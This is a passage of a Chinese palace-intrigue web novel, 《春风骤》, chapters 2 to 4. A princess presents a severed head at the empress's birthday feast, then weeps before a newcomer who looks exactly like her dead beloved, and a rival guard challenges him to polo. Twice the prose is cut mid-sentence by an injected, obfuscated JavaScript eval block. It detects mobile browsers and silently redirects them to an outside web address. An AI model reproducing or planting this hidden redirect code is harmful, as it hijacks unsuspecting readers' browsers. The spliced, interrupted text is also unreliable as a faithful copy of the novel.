《春风骤》 3. 第二章 “鬼?哪里有鬼?” 沈琅躲在宋不群身后,心惊胆颤地往沈骤的方向看,“这、这青天白日的,宫里怎么会有鬼?” 宋不群一转头见他脸都白了,新奇道:“你怕鬼啊?” “我、我当然不怕!”沈琅倏地站直身子,衣袍下的两条腿还在打颤,为转移注意力,他指着沈骤道:“那猫是怎么回事?” 经那太监一闹,周遭交头接耳的众人皆停了声响,朝沈骤那边看去。这些视线或惊或奇,就见沈骤手里的桃儿被猫一掌拍掉,这猫养得好蛮横,扒着他的衣襟往上爬,很有要骑脸的架势。 只听人群里有人说:“这是盛安公主的猫吧?” “盛安公主的猫怎么会在这儿?” “这人是谁啊,公主的猫怎么瞧着与他很熟的样子?” 宋不群也小声道:“你兄长此前认识这只猫?” 沈琅道:“怎么可能,我们刚入长安没两日,他上哪认识公主的猫?” “这里这么多人,它怎么就扒着你兄长不放?”宋不群看沈琅勉强镇定的神情,忽然很想逗逗这个小公子,“我听说猫能看到邪祟……” “真的假的?”沈琅脸上的表情有一丝龟裂,“邪、邪祟?那……” 这时,眼看那猫爪要一巴掌呼过来时,沈骤当即捏住猫的后脖颈,将它整个提溜起来。 也是奇了,那猫儿在沈骤手里乖得很,只轻轻“喵呜”一声,竟毫不挣扎。 沈骤抱着猫缓缓起身,神色森森地朝沈琅走来,“呀,被发现了。沈琅,你不知道吗,我其实早就死了,就在那年你推我下水……” 沈琅大叫一声往后退,四仰八叉地跌进了草丛里,“你你你真的……” 沈骤顿时发出爆笑,怀里的猫受惊跳了出去。 “哈哈哈哈沈琅,你几岁了啊?” “你!”沈琅这才反应过来,他连忙从地上爬起,拍了拍衣袍,气急败坏道:“沈骤,你有病吧?!” 沈骤笑弯了腰,他双手撑住膝头,眼尾都笑出了泪花,连带着旁边的宋不群也噗嗤笑出声来。 此处顿时欢声一片。 伴随着沈琅的斥责,沈骤笑得喘不上气,他抬指擦拭眼尾,唇角的弧度有刹那的僵顿。他垂了垂眼眸,视线从脚边的长毛猫身上掠过。那纤长的睫毛落下一片阴影,遮住了他瞳孔里一闪而过的神思。 - 长乐宫。 皇后生辰,众皇子妃嫔皆到齐了,李繁宁远远就听到里面阿谀奉承的嬉笑声。 再看殿外这一圈禁军侍卫,便知延德帝也在里头。 李繁宁缓步登上台阶,然而门外的守卫并未立即放行。 为首那个面无表情的年轻将领是北衙禁军都尉裴序,从李繁宁走近他便闻到了一股淡淡的血腥味,被幽香覆盖所以并不明显。 但是,他闻到了。 四目相对,李繁宁神情坦然,一副什么坏事都没干的样子。裴序的视线掠过后头侍女手里的匣子,但只短暂一眼,他很快就让开了。 殿门被推开的一瞬间,欢声笑语戛然而止。 很快,便有一道尖细的女声响起:“六妹好大的排场啊,母后生辰迟了不说,连父皇都得等你呢,到底是有个执鸾司傍身,与我们这些皇子公主就是不一样。” 李繁宁走上前,并未理会说话的人,只朝上首福了福身,“盛安来晚了,望父皇、皇后恕罪。” 皇后年逾四十,虽养护得当,但身为中宫之主,面上仍有掩不去的倦态,这种倦态为她添了几分慈悲的面相,连带着语气听起来都很和善,“盛安的府邸是远了些,来迟也属正常,不碍事,赐座吧。” 宫女搬来墩子,李繁宁却并没有坐,她看着自己威严可畏的父皇,直到延德帝抬了抬指,“坐吧。” 她才缓慢落座。 与此同时,方才那道充满敌意的声音再次传来,“母后就是太好心,才由得旁人回回怠慢。” “好了华瑶。”皇后细眉一蹙,口吻中略有警告的意味,“筵席尚未开始,盛安便没有来迟,今日千秋宴百官俱在,你身为嫡公主,莫要失了身份。” 李华瑶咬了咬唇,显然不甘。 忽然,另一端有声音响起,“永福公主如此讲究规矩,倒是自己先坏了规矩。” 说话的人坐于皇后左下手,一袭紫色宫装可见位份不低。她看起来比皇后略年轻个几岁,却是完全不同的风情,眉梢眼角皆是媚态,连嗓音都自带涟漪。 李华瑶平生最恨人唤她这封号,是以不悦地横了一眼,“贵妃娘娘这是何意?我坏谁的规矩了?” 萧贵妃低低一笑,忙放下茶盏,“公主不要生气,本宫也就那么一说。驸马刚病逝不过三月,按照我大晋朝的礼节,公主如今还在孝期呢,虽说皇后生辰事大,但到底人多口杂,公主今日,实在不该如此穿戴。” 萧贵妃说罢又捂住唇,“瞧臣妾,又多管闲事了,皇后贵为中宫之主,自己的儿女,自有自己的教法。” 李华瑶捏了捏拳,“你——” 皇后淡声道:“华瑶,去把头饰摘了,换身素净的衣裳。” “母后!” “去。”皇后轻轻瞥她一眼,那一眼自有中宫的气场,李华瑶不敢再违背。且看延德帝面上隐有不耐之色,趁父皇发火之前,李华瑶瞪了萧贵妃一眼,甩袖离开。 李繁宁坐在那里看了场狗咬狗的戏码,就见萧贵妃朝她弯了弯唇,那笑里带有明显的示好意味。 很显然,她针对李华瑶是想卖李繁宁一个面子。 但李繁宁依旧是那副不温不淡的模样,她的目光落在对面身着赤黄圆领长袍的人身上,那衣袍上用金线绣着麒麟纹,这是太子李元敏。按照以往,李元敏见到她一定会出言刺上两句,但今日他却看都没看她一眼,只双目无神,盯着鞋尖发呆,看起来心事重重。 似乎察觉到有人在看他,他迟钝抬目,李繁宁却已经移开了视线。 那边萧贵妃见她始终没理会自己,讨了个没趣,脸上的笑意愈发僵硬,终于在李繁宁的漠视中放平了唇角。 殿内逐渐安静下来,边上的陈錺见状,出言活跃气氛道:“圣上,六公主今日是为了给皇后准备贺礼才来迟,也算是一片孝心了。” “哦,是吗?”延德帝上年病了一场,精神总有些不济,但即便如此,黄袍加身也自显威势,他慢声道:“盛安,什么贺礼需得你误了进宫的时辰?” 李繁宁起身行过一礼,“儿臣的确有大礼要献给皇后。” 皇后笑着接过话,“盛安出手向来不凡,不知是什么样的大礼,还要让你大费周章。 ” “娘娘这里什么好东西没有,儿臣献礼,自然要费些心思。”李繁宁微微侧首,命侍女将匣子奉上,“只是儿臣来的路上也万分忐忑,唯恐送错了礼,惹皇后不悦。” 宫人上前接过匣子,跪递到皇后面前。 皇后缓慢起身,边打开匣子边道:“怎么会,你们这些孩子,只要有这份心思,本宫就——啊!” 皇后话说一半,陡然失声尖叫。 那手捧匣子的宫人随后亦发出同样惊悚的叫喊,紧接着“哐当”一声,那匣子被抛在地,里面慢悠悠滚出一颗人头来。 “——啊!!” 几乎是顷刻间,几个妃嫔皇子惊慌失色弹跳而起,个个都失了仪态,更有甚者直接吓晕过去。桌椅板凳被撞倒在地,还碎了几个花瓶果盘。年仅八岁的九公主嚎啕大哭,被她生母谨嫔捂住眼睛抱了起来。 整间大殿混乱不堪。 就连延德帝都撑住了座椅扶手,下意识也要起身躲开,但帝王的见多识广到底让他沉住气,硬生生又坐了回去。 而陈錺不愧是侍奉御前的内侍,腿都吓软了还记得抬袖挡在延德帝眼前,颤声喊道:“护、护驾!快来人护驾!” 裴序拔刀而入,看到的就是眼前这幅荒诞的景象。 殿内众人乱七八糟地挤在角落,就连平日仪态万方的皇后都散了发髻,三魂丢了七魄般跌坐在椅上。延德帝脸色难看,但尚且还算正常,而唯一泰然自若的,只有站在大殿中央的李繁宁。 她面上看似没有表情,但唇畔那若隐若现的弧度,看得出来她此刻至少是愉悦的。 裴序看了她一眼,就听陈錺大叫道:“裴都尉!快、快把那脏东西弄走!” 裴序正要上前,延德帝忽然抬手制止住他。 只见帝王倾身盯住那地上的人头,“此人瞧着眼熟。” 裴序进门就认出来了,“回圣上,是东宫幕僚,太子的门下客,岳山。” “太子。”延德帝看向角落,神色难辨道:“过来看看,是不是你的人。” “我……” 李元敏拖着沉重的步伐走出来。 那人头下面的血已经流干了,刀口整齐,看起来是一刀砍断的。不知死前经历了何种惊吓,他连眼睛都没闭上,目眦欲裂,瞳孔似都要爆开了! 李元敏呼吸不畅,不敢再看,“是、是他……” 延德帝沉默须臾,道:“盛安,你说吧。” 李繁宁略略看了李元敏一眼,李元敏低垂着头,瞥过来的余光却恶狠狠的。 岳山消失多日,果然是她…… 李繁宁不动声色地挑了下唇,道:“回父皇,此事说来话长,事关太子声誉,盛安不敢说。” 众目睽睽下献上人头当贺礼,把事情闹得这样大,她却说她不敢说。 延德帝深吸一口气,不知是气的还是不耐烦,“朕让你说。” 李繁宁低眉应了声“是”,这才一副不得不说的样子,道:“几日前执鸾司查抄了长安城内一家地下赌坊,名为赌坊,实为长安官场买官鬻爵的交易之地,按照赌注大小可买官阶不同,五千两银子便可买个九品京官,近来因着千秋宴,长安城内来了不少地方官,赌坊的生意很热闹。青雘——” 她稍稍侧身,被唤作青雘的侍女递上一本册子,就听李繁宁道:“这是赌坊的部分帐簿,还请父皇过目。” 陈錺看了眼延德帝的眼色,忙上前取来。 延德帝看过之后脸色骤变,猛地将册子砸在地上。 “哇”地一声,九公主又哭了起来,谨嫔又慌又忙地哄了半天,不见哭声停止,延德帝烦道:“还不快把公主抱出去!” “是、是!”谨嫔如获大赦,抱着公主疾步走出殿门。 李元敏也吓飞了神,此刻恨不得跟着谨嫔一道夺门而出。 延德帝看着太子那经不住吓的模样,眉头一皱,又问:“这与太子幕僚有何干系?” 李繁宁道:“能在朝中随意升调官吏,背后必定是个大人物。执鸾司查抄赌坊时,岳山正在点帐呢,岳山乃东宫僚属,儿臣不敢疏忽,可无论怎样拷打盘问,他都一口咬定这些收来的赃银是要往东宫送的。青雘,呈供状。” 侍女又将供状呈上。 听到这里,李元敏已经站不住了,他砰地跪下,“父皇,父皇儿臣没有!这是岳山栽赃儿臣!” “我与五皇兄想得一样,五皇兄身为太子,怎会做这等贪赃枉法之事,就算是五皇兄肯做,想必皇后也不会应吧。”李繁宁话里轻飘飘的,却又无端将皇后牵扯进来。 李元敏再迟钝也明白了,李繁宁今日就是针对他们母子来的! “李繁宁,你查案就查案——” “住嘴。”皇后已然从惊慌中回过神来,她打断太子的话,冷静起身道:“圣上,臣妾的确不知情,东宫僚属众多,太子确有管束不力之罪,但要说买官鬻爵,给他一万个胆子他也不敢,还请圣上明鉴!” 李元敏也反应过来,忙说:“是、是,一定是岳山仗着东宫僚属的身份在外敛财,此人心性不良,儿臣早就想将他逐出东宫,是他苦苦哀求,儿臣一时心软才……没想到他竟恩将仇报,栽赃儿臣!” 李繁宁顺势接过话,慢悠悠道:“栽赃太子罪当万死,这般有损皇家颜面之人,盛安自不能轻易放过,所以我将人杀了,也是为证五皇兄清白,当然,也为了让娘娘宽心,不知道我这份礼,娘娘觉得,好是不好?” 皇后眼尾有细微的抽动,话都说到了这里了,她还能说不好吗?但千秋宴上献人头当贺礼,这让人怎么能说出一个好字? 皇后几乎是从牙缝中挤出的声音,“盛安想得周到,此人确实该杀。” 李繁宁轻轻合掌,悦然道:“那太好了,看来我的礼没有送错,娘娘喜欢就好。” “好了。”延德帝蹙眉,“太子。” 李元敏还跪着,忙垂下首道:“儿、儿臣在。” 延德帝垂目看他,没有立即发话。 延德帝知道,太子即便真做了什么,也定是做得十分干净,李繁宁若能拿出切实证据,断然不会将岳山这个证人杀掉,她既然一不做二不休杀了人,说明她费尽心思也没搜到足以定罪东宫的有力证据。 没有证据,这个案子就只能不了了之。 但是以她对皇后等人的态度,即便不能置他们于死地,也绝不会让他们好过,眼下如此行径,无非是为了把事情闹大。 今日千秋宴,宫里耳目众多,此事很快就会传遍长安,用不了两日,弹劾太子的折子就会堆满案头,届时姜皇后和她背后的姜氏,都会受到牵累。 这不是李繁宁与东宫第一次交锋了,延德帝早已看惯了此类事。他捏了捏鼻骨,看起来有些倦了,“太子御下无方,自今日起闭门思过,没有朕的允许,不准迈出东宫半步,去吧。” 李元敏自知理亏,不敢争论,“是……” 延德帝问陈錺,“人都到齐了?” 看来这件事是要揭过去了,陈錺忙回话道:“是,前来贺寿的宾客都到齐了,圣上可是要移驾?” 延德帝点了点头,起身道:“裴序,把这里收拾干净。” 裴序应是,延德帝又瞥向皇后,“皇后整理仪容,随后率众妃嫔前来罢。” 皇后扶了扶散落的发髻,窘迫福身,“是,恭送圣上。” 李繁宁也俯首,“恭送父皇。” 然而,在路过李繁宁时延德帝却忽然顿步,他侧目看她,话里有斥责的意思,“有什么事不能好好说,非闹出这样大的动静。” 李繁宁低头,“儿臣知错。” 她认错认得从善如流,但面上没有半分知错的态度,她知道延德帝也并不会真的怪罪她。 果然,延德帝只是摇了摇头,“你啊。” - 众人散去,萧贵妃踏出长乐宫的殿门,她还没缓过神来,一脚踏空险些绊倒,姝妃萧茵及时搀住她,“姑母……” 萧贵妃摁着胸口缓了缓,看向李繁宁的背影道:“这个盛安,当真愈发放肆了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325920|183216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好在她只是为难皇后。” 萧茵道:“可六公主也没少针对萧家,前阵子她与兵部发生争执,大伯父手下好几个人,今日都还扣在执鸾司没放。” 萧贵妃冷哼一声,“她也不是只针对萧家,自打三年前谢……那件事后,她性情便十分乖戾。那姓谢的死了,她找不到证据能证他清白,便疯了似的逮着人就咬,当年你大伯父不过就案情提了些看法,人又不是我们弄死的!本以为她胡闹一阵也就算了,没想到三年过去,她变本加厉,偏偏圣上还纵着她……不过好在当初和亲那件事我们萧家没有插手,否则像皇后这样被她缠上,更倒霉。” 萧茵闻言只微微颔首。 当年…… 谢家案过去没多久,皇后便用计劝说圣上将李繁宁送去和亲,和亲的仪仗队都送出城了,偏偏中途生了变故,外蕃临时反悔起兵,李繁宁险些丧命,历经一番波折才回到了长安。自那以后,她对前朝后宫几乎是无差别攻击,其中对东宫、对太子尤甚。 许多人都以为她格外针对太子是在报复皇后,可实则或许……另有隐情。 至少萧茵知道,当年那人身陷囹圄,是太子命人挑断了他的手筋。 “不是我说你。”萧贵妃的声音打断了萧茵的思绪,“你少时是四公主的伴读,与六公主也曾是同窗,借着旧时情谊,你就不知道与她多走动走动?真是榆木脑袋。” 萧茵低下头,“姑母教训的是,萧茵记下了。” 萧贵妃见她乖顺,缓声道:“好在圣上还算喜欢你,你性子如此木讷,旁的我也不指望你,你好好服侍圣上,将来诞下个皇子,保住萧氏一门的荣耀才是关键。” 若非是萧贵妃年岁渐长,却迟迟没有子嗣,她也不会从族中挑了个年轻貌美的女孩来分她的恩宠。好在萧茵是个知道分寸的,即便延德帝宠幸她,她也并未因此自傲,对萧贵妃这个姑母还是毕恭毕敬的。 可惜就是这个肚子,跟她的一样不争气。 萧贵妃叹气,“晚些到我宫里来,把补药喝了,那是你大伯父特意从宫外送进来的,能助你顺利怀胎。” 萧茵应是,“劳姑母费心了。” 萧贵妃还要再说些什么,前方忽然传来些动静,一个小太监三步一跤地跑过来,正好撞在李繁宁的仪仗上。 “放肆!”青雘挡在李繁宁面前,“行事如此莽撞,你是哪个宫的,合该拖下去挨板子!” 那小太监哆哆嗦嗦跪在地上,“奴才该死、奴才该死!可、可奴才真的看到鬼了!” “胡言!”青雘斥他,“满口疯话,快把他拖下去,万一冲撞了圣上,一百个脑袋也不够你掉!” 便有侍卫一人一边将这小太监架走,那太监挣扎着哭道:“奴才没疯,真的有鬼,是、是谢大公子,他一定、一定是来索命的!” “你说什么?”李繁宁骤然回头,“把他放下。” 她走上前,语气平得没有起伏,“你刚才说的,是谁?” 那小太监陡然一静,比起鬼神之说,这会儿六公主的神情好像更令人生畏。小太监咽了咽唾沫,声线抖得不像样,“是、是三年前,太傅谢家的大公子,谢、谢……” 太监还是不敢提及这个人的名字,只激动道:“奴才没有说谎,奴才真的看到了!就在曲荷园,一模一样,当真一模一样啊!” 很久没有人敢在她面前堂而皇之提起他了,李繁宁有短暂的失神。 青雘闻言看了眼她的脸色,“公主,要去看看吗?” 李繁宁缓慢扯了下唇,那神情自嘲、不屑、麻木,掺杂着令人难以捉摸的复杂情绪,“去,为什么不去?” 再像的她都见过了,她倒要看看,究竟……还能有多像。 她居高临下,垂视那太监道:“你,带路,” 此时,凉亭下一片喧哗。 沈骤屈膝坐在石板上,一手拿着果子,一手搭着个公子哥的肩,不知道说了什么,引起众人一阵欢呼,甚至还有人给他鼓掌。 宋不群看呆了眼,对角落的沈琅说:“你兄长厉害啊。” 这么会儿的功夫,就能在园子里混得如鱼得水,听他吹嘘自己在扬州的经历,还能让这群心高气傲的公子哥为他拍手叫好。 简直是个人才。 沈琅恨声道:“厉害什么,一个不学无术的纨绔,你以为这些人是吹捧他?嗬,不过是卖我父亲的面子,他一个庶子,成天打着沈家的名头出去招惹是非,看我不教训他!” 沈琅说罢,上前将那群人拨开,拽着沈骤的手腕就要把人拖出来,“你给我过来!” “喂,干嘛呢你。”沈骤挣开手,“有辱斯文啊沈小公子。” “就你还斯文?”沈琅被他气笑,“我告诉你,你再跟人胡说八道,我回去就——” “回去就怎样?告诉爹?”沈骤勾住他的肩,“行了吧,成天就是告诉爹,爹哪有那么多闲工夫听你说话?” “你——” 不及沈琅发飙,远处倏然一阵骚动。 只见方才还三三两两聚在一起的人轰然散开,齐齐站在道路两侧,还拱手做出了个行礼的姿势,就连宋不群都俯首站好了。 沈琅愣了愣,看向跸道上渐近的一行人,便知一定是贵人。他悄声问:“诶,这是什么人?” 宋不群道:“没听他们说公主万安吗,肯定是个公主啊。” 沈琅闻言赶忙站好,似乎生怕是传言中要挑选驸马的四公主,还把头压低了些,“哪个公主啊?” “我哪知道,又没见——” 说话间,一双云头锦履出现在面前。 宋不群顿时噤了声。 沈琅屏住呼吸,不敢抬头,沈骤垂目看着那抹随风晃动的藕色裙摆,也没有抬头。 就听方才那太监尖叫:“就、就是他!” 所有人的视线都顺着太监手指的方向看过去。 青雘倒吸一口气,“他……” 公主府里有各种各样长相与那位相似之人,有的是眉眼像,有的是身形像,有的只是神态像。 他们或多或少都有那位的影子,但饶是青雘日日陪在公主身侧,也从来没有见过…… 如此相像的。 几乎是一模一样。 这、怎么可能? “公主,他……”青雘一抬眼,就见李繁宁怔在原地,眼眶迅速红了一圈。 她只是看着他,就已经泪流满面。 她哽咽上前,抬手伸向那张脸,连指尖都在颤抖。 然而,未及触碰,沈骤忽然被沈琅一把拽着跪了下去,李繁宁的手就这样僵在了半空中。 只听沈琅道:“公主恕罪!我们兄弟初到长安,不知宫里的规矩,若有哪里冒犯了公主,还望、望公主宽恕!” 沈琅说罢,推了把沈骤。 沈骤似乎也吓得不轻,他手背垫在额头下,整个人匍匐在地,跟着磕巴道:“是、望公主……宽恕。” 话音落地,刹那间风止树静,千万尘嚣遽然远去。 万籁俱寂。 沈骤听到面前人哭泣的声音,她哭得好难过,每一个声调仿佛都要碎开来。 那声音很轻,轻到只有沈骤听清了她在说什么。 她在说,“谢临舟……” 谢、临舟。 他感到心脏骤疼,尝到了喉间涌上的血腥味。 4.第三章 哭到最后,李繁宁几乎泣不成声。 园子里的宾客从畏惧到按耐不住好奇,目光微抬,议论声窸窸窣窣,逐渐高昂。 两旁的宫人侍婢,知道内情的不敢劝阻,亦是被方才那张脸震撼住了,不知道内情的更是讶然,六公主平日笑都懒得笑一下的人,何曾见她这么哭过? 众人你望我我望你,皆是满脸惊愕。 这诡异的气氛实在持续太久,沈琅也跪不住了,他偷偷挪了下膝盖,齿间发出含糊不清的音调,“你究竟干了什么?公主为什么对着你哭?” “你这几日早出晚归,不会真的得罪了什么人吧?” “喂,沈骤,你听到我说话没?” 然而身旁的人毫无动静。 沈琅忍不住偷觑了一眼,就见沈骤还保持着那个匍匐的跪姿,整张脸都埋在地上,弓起的背脊甚至没有起伏,整个人像死了一样。 该不会吓懵了吧? 不得已,沈琅悄悄用手肘碰他,“诶、诶。” 沈骤依旧没动,他听着那愈发破碎的哭声,交叠的手指微微用力,克制住了想要蜷缩的本能。 终于,远处一道声音打断了这旁人看来怪诞的一幕,“圣上、皇后驾到——” 宫里没有传不开的消息。 延德帝在大殿上宴请百官,人刚坐稳,酒杯都还没端起,就听说曲荷园这边发生了怪事。旁的疯言疯语倒不打紧,但公主在大庭广众下这般失态不是小事,最疼爱六公主的延德帝自是不能不理。 帝王移驾总是乌泱泱的一大群人,前有禁军劈开道路,皇后与萧贵妃紧随其后,园子里多是些年轻公子,哪里见过这么大的阵仗,顿时噤若寒蝉,纷纷跪拜行礼。 这回是真真正正地安静下来了。 青雘回过神来,赶忙上前提醒。 李繁宁却好似根本听不到外面的声音,她眼里只有跪在她面前的这个人。 可是这个人,连头都不肯抬一下。 一行人渐近,延德帝肃声道:“盛安,你这又是做什么?” 萧贵妃倒是好奇得不行,她作出关怀的样子道:“六公主这是怎么了?快去,给六公主递张干净的帕子。” 宫女依言捧着张帕子递上前,李繁宁却没有伸手来接。 但她抽泣的声音逐渐轻了,两肩的起伏也渐渐平复。 她望着沈骤,没有去擦脸上的眼泪,只一抹下颔,转过身,直直朝延德帝跪下来。 要知道,延德帝宠溺放纵李繁宁不是一日两日了,没有什么天大的事,她断不会行此大礼。 上一次她这样跪,还是执鸾司拿住了世家的把柄,她逼着延德帝下令处置。 而那一次,长安城的几大世家都没有讨到便宜。 是以她当下这么一跪,不仅是皇后,连带着萧贵妃都眼皮一跳。 “父皇。”李繁宁仰头,脸上泪痕道道瞩目,“盛安如今已至双十,这两年皇后没少操心盛安的婚事。” 似是方才吃过大亏,皇后这会儿神色有些倦,闻言只恹恹撩了下眼皮。 李繁宁手头有个权力滔天的执鸾司,任谁都想来分一杯羹,皇后也不例外。这两年本想着从自己人里为李繁宁挑个夫婿,可她实在谨慎,就是不肯松口,皇后早就不抱任何希望了。 延德帝也道:“皇后为你挑选的那些人,你不是一个都看不上?” “但儿臣眼下有了心悦之人,请父皇赐婚。” 周遭发出了沉默的惊讶。 延德帝只问:“什么人?” 李繁宁唇瓣轻启,顿了一下,才说出方才听到的那个名字,“沈骤。” “沈骤……”延德帝将这两个字细细重复一遍,却是纳罕一笑,“这名字耳生,不曾听过。究竟是什么人,能得朕这百般挑剔的女儿欢心,站出来,让朕看一看。” 沈琅已经石化了,顾不上提醒沈骤。 片刻不见动静,陈錺看了眼帝王脸色,适时清了清嗓音,高声道:“不知这位沈公子可在园中,圣上宣你到跟前来。” 沈骤这才慢吞吞地往前挪了几步。 但他挪步也没抬头,整个人仿佛蠕动上前。缩头缩脑,犹如惊弓之鸟。 此等做派,断然不是什么有身份的人物。 众人脸上那点兴致荡然无存。 实际上,这并不是李繁宁第一次看上什么人,至于长得像谢家那位的,这几年更是数不胜数。 前头太医院还有个新来的小太医,也是被李繁宁看上,强行带回了公主府。 这样的事在宫里早已屡见不鲜。 唯一的区别就是,她从未许过谁驸马的位置。 但那又如何呢,这位公主么,向来是想一出是一出,她做的荒唐事多了,再荒唐些也无甚稀奇的。 是以当延德帝让他抬起头来时,根本没有人好奇他究竟是谁—— 须臾,“哐当”一声,不知是哪个侍卫手里的钢刀落了地,那一声震耳欲聋几乎是敲在每个人的心头上。 皇后瞳孔紧缩,强忍着才站在原地没动。萧贵妃则再次花容失色,往后退了半步,捂住唇道:“他,他不是……” 已经死了吗? 就连一向处变不惊的裴序都变了脸色,他猛地一攥佩刀,下意识向前道:“你……” “你就是沈骤?”延德帝适时开口,拉回了裴序的理智,叫他不得不退了回去。 沈骤只是抬了脸,眼睛却还是低垂的,恭顺又敬畏,寻常人见到皇帝,都该是这个神态。 只听他紧张道:“是、家父乃扬州都知兵马使沈泊易,今日携草民与小弟进宫,给皇后娘娘贺寿。” “原来是他。”比起周遭众人的惊魂未定,延德帝已经算是十分从容了,“方才在大殿上瞧见了,还未来得及与他说话。这些年你父亲为扬州鞠躬尽瘁,朕都看在眼里,当赏他。” 沈骤赶忙说:“父亲平日常说,为官之道便是为天子分忧,为百姓、为百姓……” 进宫前父亲让他兄弟二人背了几句场面话,这个紧要关头他居然忘了,沈琅不得不咬牙提醒他:“……为百姓疏难!” “哦对对,为百姓疏难,这些都是他的分内事,不敢邀功。” 延德帝闻之一笑,但目光仍紧紧锁在他身上,似审视,也似试探。 “方才朕的女儿说,要你做她的驸马,你意下如何?” 沈骤闻言又跪下去,惶恐道:“草民不敢,公主乃金枝玉叶,草民身份低微,自觉不配,不敢折辱公主。” “你倒是通透。”延德帝道:“都起来吧,今日皇后生辰,是喜庆日子,一个个都跪着不像个样子。” 延德帝这样说,就是要把此事作罢了。 李繁宁唤道:“父皇——” 延德帝却是看她一眼,“盛安,不要胡闹。” 这是意料之中的事,面前这个叫沈骤的年轻人,论神韵论气度都与那位大不相像,但他长着这样一张脸,要让人完全信服绝无可能,在未弄清楚事情始末之前,延德帝又怎会草率答应李繁宁的请求。 李繁宁僵持须臾,知时机不对,只好起身。但她看沈骤的眼神,显然不打算就这么算了。 其余宾客也陆陆续续站起来了,却仍是拘谨非常,延德帝只得摆手道:“好了,都该干什么干什么。陈錺——” 向来机敏的陈錺此刻却未及时应答,延德帝转头看去,见陈錺双目怔怔,还呆愣在原地。 得小太监轻声提醒,陈錺才乍然回神,看出延德帝无意逗留,陈錺强行撇开杂乱的思绪,匆忙道:“摆——” “圣上。”这时,裴序却陡然出声:“今日曲荷园附近设了马球场,臣斗胆,想借着娘娘生辰博个彩头。” 延德帝蓦地顿步,侧目道:“哦,你有兴致上场?” 裴序出身将门,论马背上的功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329109|183216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫,放眼整个长安也是数一数二的,但他性情冷淡倨傲,平日不爱与那些世家子弟往来,马球这种人多的游戏,他更是看都懒得看一眼。 在裴序眼里,园子里的这些人,不配与他交手。 今日一反常态,延德帝自是知他目的。 果然,就见他将目光放在对面那人身上,道:“听说沈大人骁勇善战,虎父无犬子,臣想与沈公子切磋一二,只是不知沈公子,肯不肯给这个机会?” - 裴序这样众目睽睽下逼问,本就没有给沈骤拒绝的余地。最终皇后以玉镯为彩头,延徳帝也决意留下观球。 几人各自下去更衣,沈琅陪着沈骤往换衣处去。兄弟俩一路沉默,似乎都处在深深的震惊中,好半响沈琅才发出惊叹:“公主为什么要你做驸马?你到底怎么她了?” “我哪知道。”沈骤沉思,忽然一副苦恼又无奈的样子,道:“嗐,会不会是看上我的脸?” “你——”沈琅想骂他不要脸,可侧目一看这张脸……还真有可能。 沈琅还想再说什么,倏地察觉斜前方有一道目光,阴沉沉的,看得人害怕。 他慌张道:“完了完了,你知不知道那个人是谁?” 沈骤顺着沈琅的视线看去,裴序正目不转睛盯着他看。 那眼神幽深凝重,像是恨不得在沈骤身上看出个窟窿来,加上他生了张不易近人的脸,看起来格外不好惹。 “谁啊?”沈骤朝那边扯了个友善又恭维的笑,裴序果然皱眉。 “裴序!裴序你知道吗?!”沈琅道:“就是那个勇毅侯裴家的独子,他父亲戍守边疆战功赫赫,他自己又是禁军都尉,御前近侍,也是圣上跟前的大红人,总之,是我们沈家得罪不起的人。” 沈骤瞅他,“你怎么知道?” “刚刚宋不群告诉我的啊。”沈琅又说:“你别管我怎么知道,你还是想想怎么脱身吧,人家可是正儿八经的武将,你跟他赛马球,那画面,我都不忍心替你想,唉这可怎么办!” 这怪事一桩接一桩…… 沈琅看起来是真担心,虽然他一惯不喜欢这个除了张脸一无是处的庶兄,但到底都姓沈,沈骤若真出个什么好歹,指不定还要连累沈家。 思来想去,沈琅终于有了主意,“这样,一会儿你上场,随便打两下,然后就从马背上摔下来,假装摔晕过去,有什么事等咱们出宫再说。” 沈骤犹豫,“万一没摔好,断了胳膊腿什么的……” 沈琅破口大骂,“那也比你小命丢在这里强吧!” “知道了知道了。”沈骤揉了揉耳朵,心不在焉道:“我摔还不行么。” 但待沈骤上马后,沈琅忽然觉得自己想多了。 以沈骤这马上功夫,兴许用不着装,一会儿他真能自己摔下来。 马球规则是两边各四人对打,裴序与其余几位早早等在场上,看台上无数目光聚集。 方才园子里的事早就传开了,不免令人好奇,这位被六公主看上的“准驸马”,究竟有什么过人之处。 终于,沈骤姗姗来迟。 众人视线一凝。 却见沈骤身形一歪。 他似是完全不会御马,那匹马在他的控制下走得磕磕绊绊歪歪扭扭,眼看就要偏离目的地,他手忙脚乱地牵引缰绳,又险些将自己从马背上颠下来。 短短几步路,他费了好大的功夫。 看台两端默了片刻,紧接着发出低低的哄笑 ,就连场上的另几人也没忍住乐出了声。 裴序却笑不出来。 这偌大的长安城,年轻的世家公子里,要说有人能在马术上赢过裴序,那只有一个。 他叫谢临舟。 倏地,裴序眸色一暗,他陡然挥杆,那铜锣还没敲响,马球就已经在空中抛出了一条曲线,直朝沈骤飞去。 且看那劲道,足以将沈骤的头打爆。 5.第四章 沈骤愣住,千钧一发之际抱头趴下,险险躲了过去。 “喂!”待他直起腰,还没来得及控诉,裴序已经拽着缰绳冲过来了。 那架势,不像是来抢球的,倒像是来揍人的。 